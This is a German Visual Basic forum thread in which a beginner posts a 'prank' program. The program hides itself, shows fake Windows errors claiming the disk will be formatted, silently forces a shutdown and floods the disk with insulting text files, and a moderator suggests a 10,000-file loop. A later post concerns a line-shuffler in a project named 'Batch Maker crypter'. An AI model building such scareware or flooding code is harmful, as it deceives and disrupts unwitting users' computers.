Visual Basic Forum

b3rl!n3rm@u3r_ · Newbie Anmeldedatum: 30.07.2007 Beiträge: 8

Also ich wollte ein kleines Verarschungs Programm schreiben, da ich aber noch nicht so gut bin nunja Embarassed

hab ich die in Datei schreiben funktion aus der Hilfe kopiert. Das Problem ist das folgender Fehler auftritt.

[vb:1:ed2c77bcfc]Option Strict On
Option Explicit On
Imports System.IO
Imports System

Function Flood()
Dim FILE_NAME As String = "N00B.txt"
Dim Anzahl As Integer

If My.Computer.Filesystem.FileExists(FILE_NAME) Then
FILE_NAME = "N000B" & Anzahl & ".txt"
End If

Using sw As StreamWriter = File.CreateText(FILE_NAME)
sw.WriteLine("OMG Fucking N00B! Do You Know, that its illegal to Download Files from 3.dl.am that is your abuse !")
sw.WriteLine("You Must Learn to look what u are downloading .scr,.exe,.bat, .com aren't Sound Files !")
sw.Close()
End Using
Anzahl = Anzahl + 1
End Function

Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Visible = False
MessageBox.Show("Windows hat einen Kritischen Fehler entdeckt, und wird Versuchen diesen zu beheben !", "Kritischer Fehler", MessageBoxButtons.OK, MessageBoxIcon.Error)
MessageBox.Show("Der Kritische Fehler konnte nicht behoben werden. Die Festplatte wird nun Formatiert")
Shell("shutdown.exe -s -t 10", AppWinStyle.Hide)
Do Until My.Computer.FileSystem.FileExists("Gibtsnicht.sql")
Flood()
Loop
MessageBox.Show("Geschätze Zeit bis zur Fertigstellung : 10 Sekunden", "Dauer", MessageBoxButtons.OK, MessageBoxIcon.Information)

End Sub
End Class[/vb:1:ed2c77bcfc]

Ich Wollte euch noch was sagen : Ihr seid das beste VB Forum das ich bis jetzt gehsene hab, trotz meiner Blöden Fragen hab ich immer gleich Antworten bekommen

greetz B3RL!N3RM@U3R !

Marduk_ · « Moderator » Anmeldedatum: 17.06.2007 Beiträge: 389

Wo ist der Fehler? Ich sehe nur deinen Code.

Verwende mal den Code hier anstatt deinen
[vb:1:59b93dcfe4]Dim i As Integer
Dim dateiname As String
For i = 1 To 10000 Step 1
dateiname = "noob" & i & ".txt"
Dim streamw As New StreamWriter(dateiname)
streamw.WriteLine("OMG Fucking N00B!...")
streamw.WriteLine("you must...")
Next[/vb:1:59b93dcfe4]

b3rl!n3rm@u3r_ · Newbie Anmeldedatum: 30.07.2007 Beiträge: 8

Ja danke es hat geklappt... so jetzt zu was ganz anderem ich wollte keinen Neuen Thread aufmachen deswegen :

[vb:1:a5140cf142] Private Sub durchsuchdialog_FileOk(ByVal sender As Object, _
ByVal e As System.ComponentModel.CancelEventArgs) _
Handles durchsuchdialog.FileOk
Me.Activate()
Dim files() As String
files = durchsuchdialog.FileNames
path.Text = files
Dim fileReader As System.IO.StreamReader
fileReader = _
My.Computer.FileSystem.OpenTextFileReader(files)
Dim One As String
Dim Two As String
Dim Three As String
Dim Four As String
Dim Five As String
Dim Six As String
Dim Writeone As String
Dim Writetwo As String
Dim Writethree As String
Dim Writefour As String
Dim Writefive As String
One = fileReader.ReadLine()
two = fileReader.ReadLine()
Three = fileReader.ReadLine()
four = fileReader.ReadLine()
Five = fileReader.ReadLine()
Six = fileReader.ReadLine()

If RadioButton1.Checked Then
one = writethree
two = writeone
Three = writefive
four = writetwo
Five = Writefour
End If
If RadioButton2.Checked Then
one = Writefive
two = Writetwo
Three = Writethree
four = Writeone
Five = Writefour
End If
If RadioButton3.Checked Then
one = Writefour
Two = Writethree
Three = Writefour
Four = Writeone
Five = Writethree
End If
If RadioButton4.Checked Then
One = Writetwo
Two = Writefour
Three = Writeone
Four = Writefive
Five = Writethree

End If
If RadioButton5.Checked Then
One = Writeone
Two = Writefive
Three = Writetwo
Four = Writethree
Five = Writefour
End If
End Sub
End Class[/vb:1:a5140cf142]

das ist ein CodeBeispiel für einen "Zeilenvertauscher" allerdings ....
Fehler 1 Der Wert vom Typ "1-dimensionales Array von String" kann nicht zu "String" konvertiert werden. C:\Dokumente und Einstellungen\Marc\Eigene Dateien\Visual Studio 2005\Projects\Batch Maker crypter\Batch Maker crypter\Form1.vb 31 21 Batch Maker crypter

Marduk_ · « Moderator » Anmeldedatum: 17.06.2007 Beiträge: 389

[vb:1:c76cedc042]Dim files(5) As String[/vb:1:c76cedc042]
sollte den Fehler beheben, ein array braucht nämlich eine gewisse größe(hier 6 Felder)

Dann kannst du auch deine Deklarationen so schreiben.
[vb:1:c76cedc042]dim eins, zwei, ... as string[/vb:1:c76cedc042]

und noch ein bisschen kürzen

[vb:1:c76cedc042]with.fileReader
One = .ReadLine()
two = .ReadLine()
...
end with[/vb:1:c76cedc042]

Dann kannst du deine Bedinungen so schreiben.

[vb:1:c76cedc042]If RadioButton1.Checked Then
...
ElseIf RadioButton2.Checked Then
...
ElseIf ...

Endif[/vb:1:c76cedc042]

b3rl!n3rm@u3r_ · Newbie Anmeldedatum: 30.07.2007 Beiträge: 8

Leider immer noch das gleiche